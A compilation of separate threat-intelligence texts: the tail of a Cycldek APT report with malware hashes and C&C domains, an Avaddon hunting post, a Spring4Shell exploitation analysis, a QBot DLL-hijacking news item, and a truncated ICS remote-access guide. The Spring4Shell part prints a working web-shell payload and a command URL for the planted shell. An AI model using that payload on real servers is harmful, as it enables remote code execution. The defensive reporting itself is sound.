keystrokes each 10ms to an internal buffer of size 65530. When this buffer is filled, data from it is written to a file named ‘RCoRes64.dat’. The data is encoded using a single byte XOR with the key 0xFA. - **Device enumerator**: RedCore registers a window class intended to intercept window messages with a callback that checks if the inspected message was sent as a result of a DBT_DEVICEARRIVAL. Such events signal the connection of a device to the system, in which case the callback verifies that this device is a new volume, and if it is, it sends a bitmap with the currently available logical drives to the C&C. - **RDP logger**: RedCore subscribes to an RDP connection event via ETW and notifies the C&C when it occurs. The code that handles this functionality is based on a little-known Github repository named EventCop which is intended to obtain a list of users that connected to a system via RDP. The open-source code was modified so that instead of printing the data of the incoming connection, the malware would contact the C&C and inform it about the connection event. - **Proxy server**: RedCore spawns a server thread that listens on a pre-configured port (by default 49563) and accepts requests from non-localhost connections. A firewall exception is made for the process before the server starts running, and any subsequent requests passed from a source to it will be validated and passed on to the C&C in their original format. Perhaps the most notable difference between the two implants is the URL scheme they use to connect and beacon their C&C servers. By looking for requests made using similar URL patterns in our telemetry, we were able to find multiple C&C servers and divide the underlying infrastructure based on the aforementioned two clusters. The requests by each malware type were issued only by legitimate and signed applications that were either leveraged to side-load a malicious DLL or injected with malicious code. All of the discovered domains were used to download further samples. The conclusion that we were able to reach from this is that while all targets were diplomatic and government entities, each cluster of activity had a different geographical focus. The operators behind the BlueCore cluster invested most of their efforts on Vietnamese targets with several outliers in Laos and Thailand, while the operators of the RedCore cluster started out with a focus on Vietnam and diverted to Laos by the end of 2018. The statistics of these activities, based on the number of detected samples we witnessed downloaded from each cluster of C&Cs, are outlined in the figures below. Furthermore, considering both differences and similarities, we are able to conclude that the activities we saw are affiliated to a single actor, which we refer to as Cycldek. In several instances, we spotted unique tools crafted by the group that were downloaded from servers of both groups. One example of this is a tool custom built by the group named USBCulprit. Two samples of it were downloaded from both BlueCore and RedCore servers. All in all, this suggests the entities operating behind those clusters are sharing multiple resources – both code and infrastructure – and operating under a single organizational umbrella. **Info stealing and lateral movement toolset** During the analysis, we observed a variety of tools downloaded from both BlueCore and RedCore implants used for either lateral movement in the compromised networks or information stealing from infected nodes. There were several types of these tools – some were proprietary and formerly unseen in the wild; others were pieces of software copied from open-source post-exploitation frameworks, some of which were customized to complete specific tasks by the attackers. As in the cases of RedCore and BlueCore, the downloaded tools were all invoked as side-loaded DLLs of legitimate signed applications. Such applications included AV components like wsc_proxy.exe (Avast remediation service), qcconsol.exe, and mcvsshld.exe (McAfee components), as well as legitimate Microsoft and Google utilities like the resource compiler (rc.exe) and Google Updates (googleupdate.exe). These tools could be used to bypass weak security mechanisms like application whitelisting, grant the malware additional permissions during execution, or complicate incident response. The bulk of these tools are common and widespread among attackers, sometimes referred to as living-off-the-land binaries, or LOLbins. Such tools can be part of open-source and legitimate software, abused to conduct malicious activities. Examples include BrowserHistoryView (a Nirsoft utility to obtain browsing history from common browsers), ProcDump (Sysinternals tools used to dump memory, possibly to obtain passwords from running processes), Nbtscan (command line utility intended to scan IP networks for NetBIOS information), and PsExec (Sysinternals tools used to execute commands remotely in the network, typically used for lateral movement). The rest of the tools were either developed fully by the attackers or made use of known tools that were customized to accommodate particular attack scenarios. The following are several notable examples: - **Custom HDoor**: An old tool providing full-featured backdoor capabilities like remote machine administration, information theft, lateral movement, and the launch of DDoS attacks. Developed by a hacker known as Wicked Rose, it was popular in Chinese underground forums for a while and made its way into the APT world in the form of variants based on it. The custom version used by Cycldek uses a small subset of the features, and the attackers used it to scan internal networks and create tunnels between compromised hosts to avoid network detections and bypass proxies. The tool allows the attackers to exfiltrate data from segregated hosts accessible through the local network but not connected to the internet. - **JsonCookies**: Proprietary tool that steals cookies from SQLite databases of Chromium-based browsers. For this purpose, the sqlite3.dll library is downloaded from the C&C and used during execution to parse the database and generate a JSON file named ‘FuckCookies.txt’ containing stolen cookie info. Entries in the file resemble this one: ```json { "domain": ".google.com", "id": 1, "name": "NID", "path": "/", "value": "%VALUE%" } ``` - **ChromePass**: Proprietary tool that steals saved passwords from Chromium-based browser databases. The output of the parsed database is an HTML document containing a table with URLs and their corresponding stolen username and password information. This program includes a descriptive command line message that explains how to use it. **Formerly Unreported Malware: USBCulprit** One of the most notable examples in Cycldek’s toolset that demonstrates both data stealing and lateral movement capabilities is a malware we discovered and dubbed USBCulprit. This tool, which we saw downloaded by RedCore implants in several instances, is capable of scanning various paths in victim machines, collecting documents with particular extensions, and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually. During the time the malware was active, it showed little change in functionality. Based on Kaspersky’s telemetry, USBCulprit has been seen in the wild since 2014, with the latest samples emerging at the end of 2019. The most prominent addition incorporated to samples detected after 2017 is the capability to execute files with a given name from a connected USB. This suggests that the malware can be extended with other modules. However, we were not able to capture any such files, and their purpose remains unknown. Another change we saw is the loading scheme used for variants spotted after 2017. The older versions made use of a dropper that wrote a configuration file to disk and extracted an embedded cabinet archive containing a legitimate binary and a malicious side-loaded DLL. This was improved in the newer versions, where an additional stage was added, such that the side-loaded DLL decrypts and loads a third file from the archive containing the malicious payload. As a result, the latter can be found in its decrypted form only in memory. This loading scheme demonstrates that the actor behind it makes use of similar TTPs seen in the previously described implants attributed to Cycldek. For example, binaries mimicking AV components are leveraged for conducting DLL load-order hijacking. In this case, one of the files dropped from the cabinet archive named ‘wrapper.exe’ (originally named ‘PtUserSessionWrapper.exe’ and belonging to Trend Micro) forces the execution of a malicious DLL named ‘TmDbgLog.dll’. Also, the malware makes use of an encrypted blob that is decrypted using RC4 and executed using a custom PE loader. Once USBCulprit is loaded to memory and executed, it operates in three phases: 1. **Bootstrap and data collection**: This stage prepares the environment for the malware’s execution. It invokes two functions named ‘CUSB::RegHideFileExt’ and ‘CUSB::RegHideFile’ that modify registry keys to hide the extensions of files in Windows and verify that hidden files are not shown to the user. It also writes several files to disk and initializes a data structure with paths that are later used or searched by the malware. Additionally, the malware makes a single scan to collect files it intends to steal using a function named ‘CUSB::USBFindFile’. They are sought by enumerating several predefined directories to locate documents with specific extensions. Every document found is logged in a file that enlists all targeted paths for theft within a directory, such that every checked directory has a corresponding list file. 2. **USB connection interception and data exfiltration/delivery**: When bootstrapping and data collection is completed, the malware attempts to intercept the connection of new media and verify that it corresponds to a removable drive. This is achieved by running an infinite loop, whereby the malware is put to sleep and wakes at constant intervals to check all connected drives. If at least one is of type DRIVE_REMOVABLE, further actions are taken. When a USB is connected, the malware will verify if stolen data should be exfiltrated to it or it already contains existing data that should be copied locally. 3. **Lateral movement and extension**: As part of the same loop mentioned above, the existence of another marker file named ‘2.txt’ will be checked locally to decide if lateral movement should be conducted or not. Only if this file exists, will the malware’s binary be copied from its local path to the ‘$Recyc1e.Bin’ directory. It’s noteworthy that we were unable to spot any mechanism that could trigger the execution of the malware upon USB connection, which leads us to believe the malware is supposed to be run manually by a human handler. Apart from the above, USBCulprit is capable of updating itself or extending its execution with further modules. This is done by looking for the existence of predefined files in the USB and executing them. The characteristics of the malware can give rise to several assumptions about its purpose and use cases, one of which is to reach and obtain data from air-gapped machines. This would explain the lack of any network communication in the malware and the use of only removable media as a means of transferring inbound and outbound data. Also, we witnessed some variants issue commands to gather various pieces of host network information. These are logged to a file that is later transferred along with the stolen data to the USB and can help attackers profile whether the machine in which the malware was executed is indeed part of a segregated network. Another explanation is that the malware was handled manually by operators on the ground. As mentioned earlier, there is no evident mechanism for automatically executing USBCulprit from infected media, and yet we saw that the same sample was executed from various drive locations, suggesting it was indeed spread around. This, along with the very specific files that the malware seeks as executable extensions and could not be found as artifacts elsewhere in our investigation, point to a human factor being required to assist deployment of the malware in victim networks. **Conclusion** Cycldek is an example of an actor that has broader capability than publicly perceived. While most known descriptions of its activity give the impression of a marginal group with sub-par capabilities, the range of tools and timespan of operations show that the group has an extensive foothold inside the networks of high-profile targets in Southeast Asia. Furthermore, our analysis of the implants affiliated to the group gives insight into its organizational structure. The similarities and differences in various traits of these pieces of malware indicate that they likely originated from different arms of a single organization. It’s worth noting that we observed multiple points where such entities didn’t work in a well-coordinated manner, for example, infecting machines using the BlueCore implant when they were already infected with RedCore. Lastly, we believe that such attacks will continue in Southeast Asian countries. The use of different tools to reach air-gapped networks in the same countries and attempts to steal data from them have been witnessed in the past. Our analysis shows this type of activity has not ceased – it has merely evolved and changed shape, in terms of malware and actors. We continue to track the actor and report on its activity in our Threat Intelligence Portal. **Appendix – IOCs** Note: A full list of IOCs can be found in our reports on the subject in Kaspersky’s Threat Intelligence Portal. **RedCore:** - A6C751D945CFE84C918E88DF04D85798 – wsc.dll (side-loaded DLL) - 4B785345161D288D1652C1B2D5CEADA1 – msgsm64.acm (encrypted shellcode and implant) **BlueCore:** - 1B19175C41B9A9881B23B4382CC5935F – QcLite.dll (side-loaded DLL) - 6D2E6A61EEDE06FA9D633CE151208831 – QcLite.dll (side-loaded DLL) - 6EA33305B5F0F703F569B9EBD6035BFD – QcLite.dll (side-loaded DLL) - 600E14E4B0035C6F0C6A344D87B6C27F – stdole.tlb (encrypted Shellcode and Implant) **Lateral Movement and Info-Stealing Toolset:** - 1640EE7A414DFF996AF8265E0947DE36 – ChromePass - 1EA07468EBDFD3D9EEC59AC57A490701 – ChromePass - 07EE1B99660C8CD5207E128F44AA8CBC – JsonCookies - 809196A64CA4A32860D28760267A1A8B – Custom HDoor - 81660985276CF9B6D979753B6E581D34 – Custom HDoor - A44804C2767DCCD4902AAE30C36E62C0 – Custom HDoor **USBCulprit:** - A9BCF983FE868A275F8D9D8F5DEFACF5 – USBCulprit Loader - C73B000313DCD2289F51B367F744DCD8 – USBCulprit Loader - 2FB731903BD12FF61E6F778FDF9926EE – USBCulprit Loader - 4A21F9B508DB19398AEE7FE4AE0AC380 – USBCulprit Loader - 6BE1362D722BA4224979DE91A2CD6242 – USBCulprit Loader - 7789055B0836A905D9AA68B1D4A50F09 – USBCulprit Loader - 782FF651F34C87448E4503B5444B6164 – USBCulprit Loader - 88CDD3CE6E5BAA49DC69DA664EDEE5C1 – USBCulprit Loader - A4AD564F8FE80E2EE52E643E449C487D – USBCulprit Loader - 3CA7BD71B30007FC30717290BB437152 – USBCulprit Payload - 58FE8DB0F7AE505346F6E4687D0AE233 – USBCulprit Payload - A02E2796E0BE9D84EE0D4B205673EC20 – USBCulprit Payload - D8DB9D6585D558BA2D28C33C6FC61874 – USBCulprit Payload - 2E522CE8104C0693288C997604AE0096 – USBCulprit Payload **Toolset overlapping in both clusters:** | **Common Name** | **MD5** | **Blue Cluster Domain** | **Red Cluster Domain** | **Description** | |------------------|---------|------------------------|------------------------|------------------| | chromepass.exe | 1EA07468EBDFD3D9EEC59AC57A490701 | http://login.vietnamfar.com:8080 | http://news.trungtamwtoa.com:88 | ChromePass | | goopdate.dll | D8DB9D6585D558BA2D28C33C6FC61874 | http://cophieu.dcsvnqvmn.com:8080 | http://mychau.dongnain.com:443 | USBCulprit | | | 2E522CE8104C0693288C997604AE0096 | http://nghiencuu.onetotechnologys.com:8080 | http://tinmoi.vieclamthemde.com:53 | USBCulprit | | | | http://tinmoi.thoitietdulich.com:443 | http://tinmoi.vieclamthemde.com | USBCulprit | | qclite.dll | 7FF0AF890B00DEACBF42B025DDEE8402 | http://web.hcmuafgh.com | http://tinmoi.vieclamthemde.com | BlueCore Loading Hijack DLL | | silverlightmsi.dat | A44804C2767DCCD4902AAE30C36E62C0 | http://web.laovoanew.com:443 | http://login.dangquanwatch.com:53 | Custom HDoor | **C&Cs and Dropzones:** - http://web.laovoanew.com – Red Cluster - http://tinmoi.vieclamthem.com – Red Cluster - http://kinhte.chototem.com – Red Cluster - http://news.trungtamwtoa.com – Red Cluster - http://mychau.dongnain.com – Red Cluster - http://hcm.vietbaonam.com – Red Cluster - http://login.thanhnienthegioi.com – Red Cluster - http://103.253.25.73 – Red Cluster - http://luan.conglyan.com – Red Cluster - http://toiyeuvn.dongaruou.com – Red Cluster - http://tintuc.daikynguyen21.com – Red Cluster - http://web.laomoodwin.com – Red Cluster - http://login.giaoxuchuson.com – Red Cluster - http://lat.conglyan.com – Red Cluster - http://thegioi.kinhtevanhoa.com – Red Cluster - http://laovoanew.com – Red Cluster - http://cdn.laokpl.com – Red Cluster - http://login.dangquanwatch.com – Blue Cluster - http://info.coreders.com – Blue Cluster - http://thanhnien.vietnannnet.com – Blue Cluster - http://login.diendanlichsu.com – Blue Cluster - http://login.vietnamfar.com – Blue Cluster - http://cophieu.dcsvnqvmn.com – Blue Cluster - http://nghiencuu.onetotechnologys.com – Blue Cluster - http://tinmoi.thoitietdulich.com – Blue Cluster - http://khinhte.chinhsech.com – Blue Cluster - http://images.webprogobest.com – Blue Cluster - http://web.hcmuafgh.com – Blue Cluster - http://news.cooodkord.com – Blue Cluster - http://24h.tinthethaoi.com – Blue Cluster - http://quocphong.ministop14.com – Blue Cluster - http://nhantai.xmeyeugh.com – Blue Cluster - http://thoitiet.yrindovn.com – Blue Cluster - http://hanghoa.trenduang.com – Blue Cluster
# Threat Hunting for Avaddon Ransomware Avaddon is a cryptolocker ransomware written in C++ that is best known for encrypting files and changing the file extension to .avdn. The ransomware also deletes the volume shadow copies and other system backups and typically demands a ransom ranging between $150 and $900. Since the ransomware uses strong encryption algorithms like AES256 and RSA2048, no decryptor is available and it is impossible to decrypt the file without the key that was used to encrypt it. This ransomware is sold similar to other Ransomware-as-a-Service (RaaS) like REvil. Thus, even someone with limited technical background can become an “affiliate” to spread the malware. In return, the profit gets shared between the threat actor and the affiliate. In this blog post, we dissect this malware and discuss methods to perform threat hunting for the Avaddon ransomware family. ## Understanding and Hunting for Avaddon The Avaddon malware campaign began in early June 2020. The malware is delivered and spreads mainly using phishing emails containing a malicious attachment. The email contains what appears to be a zipped image attachment named in the format of IMG <random-6-digits>.jpg.js. However, as you will notice, the attachment is actually a JavaScript file. Since operating systems often hide file extensions of common file formats, the threat actor attempts to deceive the viewer into thinking the JavaScript file is actually an image. Executing this JavaScript file results in the download of the Avaddon ransomware from an external C2 server, through a combination of PowerShell and the BITS admin tool (Indicator #1). The ransomware does not perform much command and control (C2) communication. However, as soon as the binary is executed, it connects to https://api.myip.com to get the external IP address of the victim machine (Indicator #2). ## Threat Hunting for Avaddon Security analysts can hunt for Avaddon download attempts by correlating and detecting the pattern of phishing email activity along with binary download using PowerShell and BITS admin that we describe above. In fact, the Awake Security Platform identifies this sequence of actions and surfaces the malicious behavior on the network (similar to MITRE ATT&CK ID: T1566, T1197). The platform then creates a graphical visualization of the attack situation, demonstrating that a Windows device is accessing gmail.com and an IP address, which in this case is the Avaddon C2 server. ## Remediation It is recommended to backup all important data to external drives or in the cloud for better security. It is advised to screen all email and refrain from opening any attachment from unknown sources. Finally, identify the sequence and patterns of communication we describe here to uncover the presence of Avaddon on your network.
# CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Trend Micro Threat Research observed active exploitation of the Spring4Shell vulnerability assigned as CVE-2022-22965, which allows malicious actors to weaponize and execute the Mirai botnet malware. The exploitation allows threat actors to download the Mirai sample to the “/tmp” folder and execute it after permission change using “chmod”. We began seeing malicious activities at the start of April 2022. We also found the malware file server with other variants of the sample for different CPU architectures. We discuss our findings and analysis of the exploits and patch based on our samples, as well as real-world application of the potential risks in this blog. In the last section, we include some recommendations on how to mitigate these risks. ## What is Spring Framework? Spring Framework is used to develop enterprise-level applications in Java. It is a platform that provides comprehensive infrastructure to support model-view-controller (MVC)-based applications developed to reduce manual configuration and enhance memory management. It also makes code more reusable and easier to maintain by implementing some design patterns universally. Spring Framework is part of the Spring ecosystem, which comprises other components for cloud, data, and security, among others. ## How is CVE-2022-22965 different from CVE-2022-22963? There are two vulnerabilities that allow malicious actors to achieve remote code execution (RCE) for Spring Framework. Table 1 outlines the key differences between the two: | CVE-2022-22963 | CVE-2022-22965 | |----------------|----------------| | Specific to a local resource exposure bug in Spring Cloud | Leads to RCE in Spring Core applications under non-default circumstances | | Patch available: Yes. | Patch available: Yes (see section on available patches and mitigations). | | CVSS Base score: 9.8 (Critical) (CVSS 3.x) but much less severe than CVE-2022-22965 | CVSS Base score: 9.8 (Critical) (CVSS 3.x) | | Makes an impact on Spring Cloud Function versions 3.1.6, 3.2.2, and older unsupported versions, where the routing functionality is used. | Makes an impact on any Java application using Spring Core under non-default circumstances. | ## Dependencies, software, and versions affected As of this writing, most of the vulnerable setups were configured to the following dependencies: - Spring Framework versions before 5.2.20, 5.3.18, and Java Development Kit (JDK) version 9 or higher - Apache Tomcat - Spring-webmvc or spring-webflux dependency - Using Spring parameter binding that is configured to use a non-basic parameter type, such as Plain Old Java Objects (POJOs) - Deployable, packaged as a web application archive (WAR) - Writable file system such as web apps or ROOT ## How does the vulnerability exist? In general, this vulnerability occurs when special objects or classes are exposed under certain conditions. It is quite common for request parameters to be bound to a POJO that is not annotated with @RequestBody, which helps in extracting parameters from HTTP requests. The class variable contains a reference to the POJO object that the HTTP parameters are mapped to. Threat actors can directly access an object by specifying the class variable in their requests. All child properties of an object can also be accessed by malicious actors through the class objects. As a result, they can get access to all kinds of other valuable objects on the system simply by following the chains of properties. In Spring Core for "class.classLoader" and "class.protectionDomain", logic prevents malicious access to the child properties of the class object. However, the logic is not foolproof and can in fact be bypassed by using the "class.module.classLoader" selector. ## Patch analysis The patch for Spring Framework has already been released. We provide relevant details in the succeeding section on available patches and mitigations. As aforementioned, the "class.classLoader" and "class.protectionDomain" logic was not adequately secure, thus rendering the Spring Framework vulnerable. To resolve this issue, the logic of child property access has been improved in the patched version update. Currently, it only allows "name" variants of class properties and no longer allows the binding of ClassLoader and ProtectionDomain Types. ## Exploit analysis In this section, we attempt to understand how malicious actors can gain access to all sorts of valuable objects on the system by simply following the chain of properties that we previously discussed. Having access to the class variable and all its sub-properties provides a path for threat actors to change the behavior of the web application. Their familiarity with ways to exploit exposed class objects has resulted in many techniques for weaponizing this vulnerability. For example, threat actors can access an AccessLogValve object and weaponize the class variable "class.module.classLoader.resources.context.parent.pipeline.firstpath" in Apache Tomcat. They can do this by redirecting the access log to write a web shell into the web root through manipulation of the properties of the AccessLogValve object, such as its pattern, suffix, directory, and prefix. ### Stage 1 Send crafted packet using “burp suite” or “curl” Sample Host = (http://{victim IP}:8080/) ### Stage 2 After decoding the payload being used from the first stage, we observe the following parameters and values in the payload: ``` class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ``` When a server handles this request, it creates a “tomcatwar.jsp” file on the server directory. Here, five specific attributes are modified as follows: 1. **Pattern**: It consists of a formatting layout identifying the various fields to extract from the request and log the response. Here you can see how the headers ‘c2’, ‘c1’, ‘suffix’ are being fetched from the headers. The substitution happens from the incoming headers as the format is %{name_of_header}i. 2. **Suffix**: The suffix to add to the end of each log file name. The extension of the file that will be written is .jsp. 3. **Directory**: The absolute or relative path of a directory where the file will be created. In this case, ‘webapps/ROOT’ is selected since this is the path that is contained in a default Tomcat installation. 4. **Prefix**: The string that is added to the start of each log file that will be created. In this case, it’s ‘tomcatwar’. 5. **fileDateFormat**: The field allows for a customized timestamp to be added in the log file name. This is kept empty since we don’t want any other extensions in the JSP web shell. ### Stage 3 Using the uploaded JSP web shell, malicious actors can execute commands on the server remotely, as observed in this domain: ``` http://{victim IP}:8080/tomcatwar.jsp?pwd=j&cmd=whoami ``` ## Associated risks if unpatched The RCE vulnerability gives threat actors full access to the compromised devices, making it a dangerous and critical vulnerability. Malicious actors can achieve various goals through RCE attacks. In contrast to other exploits, an RCE attack typically results in the following: - Creation of a path to allow initial access to a device that lets threat actors install malware or achieve other goals. - Provision of means to spread malware that extracts and exfiltrates data from a device, or enabling of commands that install malware designed to steal information. - Denial of service that disrupts the operation of systems or other applications on the system. - Deployment and execution of cryptomining or cryptojacking malware on exposed devices by exploiting the RCE vulnerability. - Deployment of ransomware that encrypts files and withholds access until victims settle the ransom. ## Earliest exploitation C1WS IPS rule 1006015, which detects “class.classLoader” in the request, was first logged on our honeypots on March 31, 2022. ## Active exploitation We observed active exploitation of Spring4Shell wherein malicious actors were able to weaponize and execute the Mirai botnet malware on vulnerable servers, specifically in the Singapore region. The Mirai sample is downloaded to the “/tmp” folder and executed after permission change to make them executable using “chmod”. ## Available patches and mitigations Spring has released patches for this vulnerability. We urge enterprises to do the following: - Upgrade Spring Framework to versions 5.3.18+ and 5.2.20+. - Upgrade Spring Boot to versions 2.6.6+ and 2.5.12+. In the interim, enterprises can mitigate the risks associated with the vulnerability by doing the following: - Maintaining a disallow or blocklist in web application firewall to block strings that contain values such as "class.*", "Class.*", "*.class.*", and "*.Class.*". - Downgrading to a lower JDK version such as version 8 might help. However, it could impact application features and open doors to other attacks mitigated in higher versions of JDK. ## Trend Micro protection and investigation Trend Micro has also released rules and filters for detection and protection across some of its suite of products. These provide additional protection from and detection of malicious components associated with this threat. ### Indicators of Compromise (IOCs) A list of the IOCs can be found in this text file.
# Redacted APT29 POSHSPY Backdoor Sample Referenced in my blog post here: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
# QBot Phishing Uses Windows Calculator DLL Hijacking to Infect Devices The operators of the QBot malware have been using a DLL hijacking flaw in Windows Calculator to infect computers, which also helps evade detection by security software. DLL hijacking is a common attack method that takes advantage of how Dynamic Link Libraries (DLLs) are handled in Windows. It consists of creating a malicious version of a legitimate DLL required by the program and placing it early in the search order used to find a required DLL. This folder is commonly the same folder as the executable. When the executable is launched, it will find the malicious version with the same name in the same folder, loading that instead and infecting the computer. QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan but evolved into a malware dropper and is used by ransomware gangs in the early stages of the attack to drop Cobalt Strike beacons. Security researcher ProxyLife recently discovered that Qakbot has been abusing the Windows 7 Calculator app for DLL hijacking attacks since at least July 11. The method continues to be used in malspam campaigns. ## New QBot Infection Chain To help defenders protect against this threat, ProxyLife and researchers at Cyble documented the latest QBot infection chain. The emails used in the latest campaign carry an HTML file attachment that downloads a password-protected ZIP archive with an ISO file inside. The password for opening the ZIP file is shown in the HTML file, and the reason for locking the archive is to evade antivirus detection. The ISO contains a .LNK file, a copy of 'calc.exe' (Windows Calculator), and two DLL files, namely WindowsCodecs.dll and a payload named 7533.dll. When the user mounts the ISO file, it only displays the .LNK file, which is masqueraded to look like a PDF holding important information or a file that opens with Microsoft Edge browser. However, the shortcut points to the Calculator app in Windows, as seen in the properties dialog for the files. Clicking the shortcut triggers the infection by executing Calc.exe through the Command Prompt. When loaded, the Windows 7 Calculator automatically searches for and attempts to load the legitimate WindowsCodecs DLL file. However, it does not check for the DLL in certain hard-coded paths and will load any DLL with the same name if placed in the same folder as the Calc.exe executable. The threat actors take advantage of this flaw by creating their own malicious WindowsCodecs.dll file that launches the other DLL file, which is the QBot malware. By installing QBot through a trusted program like the Windows Calculator, some security software may not detect the malware when it is loaded, allowing the threat actors to evade detection. It should be noted that this DLL hijacking flaw no longer works in Windows 10 Calc.exe and later, which is why the threat actors bundle the Windows 7 version. QBot has been around for more than a decade, with origins going as far back as 2009. While campaigns delivering it are not frequent, it was observed being distributed by the Emotet botnet in the past to drop ransomware payloads. Among the ransomware families that QBot delivered are RansomExx, Maze, ProLock, and Egregor. More recently, the malware dropped Black Basta ransomware. Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open-source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives.
# Configuring and Managing Remote Access for Industrial Control Systems ## Executive Summary Industrial control systems play a vital role in critical infrastructure. The requirements for their high availability and proper functioning demand that the systems be protected from both intentional and unintentional incidents that can impact their operation. In the past, the risk to these systems was mitigated by ensuring complete separation of operational domains from external networks, and access to the control function was limited to authorized users with physical access to a facility. Today, business demands for increased and faster online access to real-time data have led to the rapid deployment of modern networking technologies, accelerating the interconnectivity of these once isolated systems. This new connectivity has empowered asset owners to maximize business operations and reduce costs associated with equipment monitoring, upgrading, and servicing, while creating a new security paradigm for protecting control systems from cyber incidents. Part of the security equation involves how operational assets are accessed and managed and how the cybersecurity posture of a control system can be impacted if the management of remote access is not understood by business or is conducted poorly. However, as is the case with modern cybersecurity countermeasures, the application of proven and accepted remote access solutions may not map perfectly to control systems environments. Requirements for availability and integrity, combined with the unique nuances and attributes often found in ‘purpose-built’ systems, drive new demand for guidance regarding creating secure remote access solutions for industrial control systems environments. This good practice document provides support for developing remote access solutions for industrial control systems. Common good practices from standard information technology solutions will be presented in the context of control systems environments, along with insight into how remote access solutions can be deployed in a manner to mitigate cyber risk unique to control systems architectures. The goal of this practice document is to provide guidance regarding the development of secure remote access strategies for industrial control systems environments. In using this practice guide, no two control systems will be identical. As such, no single secure remote access solution is applicable to all possible architectures, and no single remote access solution can provide adequate security without a defense-in-depth approach. However, by exercising caution and generating and implementing concise requirements based on good analysis, secure remote access solutions can be deployed and maintained. ## Keywords Industrial control systems, SCADA, remote access, role-based access control, remote connectivity, monitoring, secure vendor access, defense-in-depth, firewall, intrusion detection, encryption, demilitarized zones, security zones, policy and procedures, patch management. ## Introduction and Definition Information infrastructures across many public and private domains share several common attributes regarding information and communication technology (ICT). This is particularly true in the industrial control systems domain, where an increasing number of organizations are using modern networking to enhance productivity and reduce costs by increasing the integration of external, business, and control system networks. However, these integration strategies often lead to vulnerabilities that can greatly reduce the cybersecurity posture of an organization and can expose mission-critical industrial control systems to cyber threats. The opportunities for enhancing business operations are seemingly endless, with one of the major advantages being the ability to increase the command and control function by leveraging remote access capabilities. Without applying appropriate security safeguards, remote access functionality can create opportunities for cyber adversaries wishing to cause harm or damage to critical processes that may seriously affect the lives of people, health, society, the economy, and the environment. This document provides guidance for developing secure remote access strategies for organizations that use industrial control systems. This document is to be used in developing or updating strategies related to managing remote connectivity between operational assets, peers, vendors, operators, and other elements that require access to critical information, devices, or process data. From a definition perspective, this document will assume that remote access is defined, in its simplest form, as ‘the ability for an organization’s users to access its non-public computing resources from external locations other than the organization’s facilities.’ To extend this to control systems, consider that remote access also includes ‘accessing data, a system, or a service inside a physically and/or logically protected network from a system or device outside that network.’ Combining the two, the definition of remote access for this practice guide is: ‘The capability for an organization’s users and operators to access its non-public computing resources, data, and systems that reside inside a physically and/or logically protected network from external locations that may be considered outside that organization’s network.’ This definition is useful in many circumstances, particularly in control system domains and has several security elements that are applicable to this practice guide: - It provides allowances for the fact that a single operator may have administrative oversight over several disparate systems that are considered to be within an organization’s information enclave. - It implicitly acknowledges that remote access can be interrupted, prevented, captured, or hijacked through deliberate actions of a separate party without that party having to circumvent physical or logical security controls, even when the communications are traveling across media owned and operated by the data/system owner. - It can exclude communications within physically protected areas, such as compounds or buildings, reducing the scope of the discussion (security of communications within physically protected boundaries is still an important issue, but should be considered separate from and beyond the scope of remote access). - It includes all communications over equipment whose physical and logical security cannot be validated explicitly by the organization using the equipment in an area of communications security that traditionally does not receive enough attention, even today. This definition expands the scope of remote access to include examples that traditionally have not been considered ‘remote access.’ For example, connections between geographically disparate sites using private third-party telecommunications lines are not normally considered remote access, despite the fact that the telecommunications lines are owned by a separate telecommunications company and leased by the organization looking for a communication mechanism between two sites. However, they are included in this definition. The definition encompasses long-range communication channels, such as fiber or microwave, where the equipment is owned by the data or service owner, but the physical security of the transmission media is outside the direct control of the data owner. Remote access security functionality and features help create electronic pathways to grant authorized and authenticated access into a trusted network from a location that would otherwise be considered untrusted. In this definition, the non-public (trusted) network would be considered the control system network. Although this document is titled "Configuring and Managing Remote Access for Control Systems," the material is intended to be applicable to any architecture involving industrial control systems, process control systems, Supervisory Control and Data Acquisition (SCADA), or distributed control systems. The term industrial control systems is to be considered a general term applying to all these system types sharing similar characteristics and is in line with the definitions used by contemporary communities of interest and other standards bodies. ## Background The critical infrastructure systems that support major industries, such as manufacturing, water, transportation, and energy, are highly dependent on information systems for their command and control. While a high dependence on legacy industrial control systems still exists, critical industrial control systems are migrating to new communication technologies. As a result, common communications protocols and open architecture standards are replacing the diverse and disparate proprietary mechanics of industrial control systems. This replacement can have both positive and negative impacts, especially in the areas of system integration and support. While the traditional isolation of the control system demanded onsite maintenance from integrators and vendors, modern communication mechanisms can facilitate remote connectivity from almost anywhere. In addition, this new interoperability provides for operators and asset owners to allow their own disparate resources to remotely connect to their control systems from anywhere on an as-needed basis. As is the case with any contemporary ICT architecture, the cyber risk is proportional to the security countermeasures deployed to protect against unauthorized remote access. The protocols and communication standards that provide increased interoperability in the industrial control systems community build on and use, in many cases, the same technologies that have been exploited and compromised on the internet and corporate networking domains. The same is true for those technologies associated with remote access, and this can often create situations that cause industrial control systems to inherit undesirable security vulnerabilities. Research indicates that the mitigation strategies used in contemporary ICT systems may not always align perfectly with the industrial control systems domain. The unique nuances associated with both availability and integrity within control system architectures require that contemporary security countermeasures be deployed with a specific purpose. ## Remote Access in Industrial Control System Architectures With the growing interconnectivity between control systems architectures, corporate architectures, peer sites, and other operational entities, organizations have had to abandon the traditional (and sometimes ideal) concept of total domain isolation. Realistically, industrial control systems have always had some aspect of remote access play a part in operations. As discussed before, vendors have had access to support their systems, and the communications infrastructure was traditionally quite extensive so that it supported data control and acquisition from long distances. The mechanisms for data acquisition involve several different types of communications media, many of which were not dedicated to a single utility but were shared among some number of different entities. A number of the security functionality and concepts that ICT has used can be leveraged in control system architectures. The challenge is how to apply cybersecurity good practices to remote access programs such that the solution supports the 